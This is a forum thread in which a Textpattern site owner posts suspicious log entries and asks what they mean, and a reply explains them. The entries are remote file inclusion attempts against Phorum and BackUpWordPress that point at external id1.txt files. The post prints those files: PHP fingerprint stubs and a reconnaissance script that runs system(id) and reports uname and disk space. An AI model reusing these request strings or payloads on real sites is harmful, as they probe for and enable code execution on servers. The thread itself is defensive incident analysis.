Spurious URLs in visitor logs (id1.txt)
Over the past few days I’ve had some odd entries in the TXP logs on one of my sites. They look to me like a series of exploits from various IPs targeting different programs to, I assume, inject the name of somebody or some URL into the HTML page code. It doesn’t look any more sinister than that and, as far as I can tell, TXP is immune. They all seem to try to load some code in a file based on some permutation of id1.txt.
I can’t see anything changed on my server and the MySQL database seems ok so I don’t think these attempts amount to anything, but in case it’s anything more ominous and I’ve just not looked hard enough, here are the results of my sleuthing. Anyone who has any info on these things, has seen them before, knows what they might be trying to do or what they think they can achieve, please feel free to enlighten me. Thanks!
Attempt 1
URL in TXP log: http://site.com/?PHORUM[settings_dir]=http://phoviet.vn.net//backend/id1.txt???
OR http://site.com/section/article//flash/initialise.php?foing_root_path=http://bobbydonut.com/stephanie/id11.txt??
IP: 91.121.181.60 ns1.hardlogin.com OR 74.86.17.106
Contents of id1.txt / id11.txt:
<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>Attempt 2
URL in TXP log: http://site.com/index.php?pag=http://www.medprom.spb.ru/new/www/modules/cjaycontent/admin/editor2/id1a.txt??
IP: 69.16.250.4 noc88.noc88.com
Contents of id1.txt:
zfxid.txt
<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>Attempt 3
URL in TXP log: http://site.com/section/article//plugins/BackUp/Archive/Reader.php?bkpwp_plugin_path=http://www.hyonsvc.co.kr//bbs//upload/id1.txt??
IP: 91.192.110.155 155-110.furanet.com OR 80.55.55.178 rd178.internetdsl.tpnet.pl
The contents of id1.txt returns a 404, but it first does some URL rewriting to translate the address to: http://www.hyonsvc.co.kr//%E2%80%8Bbbs//%E2%80%8Bupload/%E2%80%8Bid1.%E2%80%8Btxt?%E2%80%8B?
Attempt 4
URL in TXP log: http:///?pag=http://basic-it.de/phpShop/soap/id.txt?
IP: 94.75.207.2
Contents of id.txt:
<?php
function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number); }
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024); }
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024); }
return sprintf("%0.2f Gb", $number/1024/1024/1024); }
echo "xucx<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
echo "xucx was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;Attempt 5 (classic /etc/passwd access attempt)

Nothing related to TXP. Just random script kids that are nothing to worry about.
- First one is for old Phorum. The URL itself says what it relies and tries: Global is set by the URL, server includes the settings file and the page dies. TXP doesn’t register variables from URLs (if plugins nor server isn’t set it to).
- URL’s acronym answers: Sad and famous BackUpWordPress.

May be some pattern you site was recognised to use Phorum scripts and got in hackers base as potentially buggie :) Nothing to worry, I think.
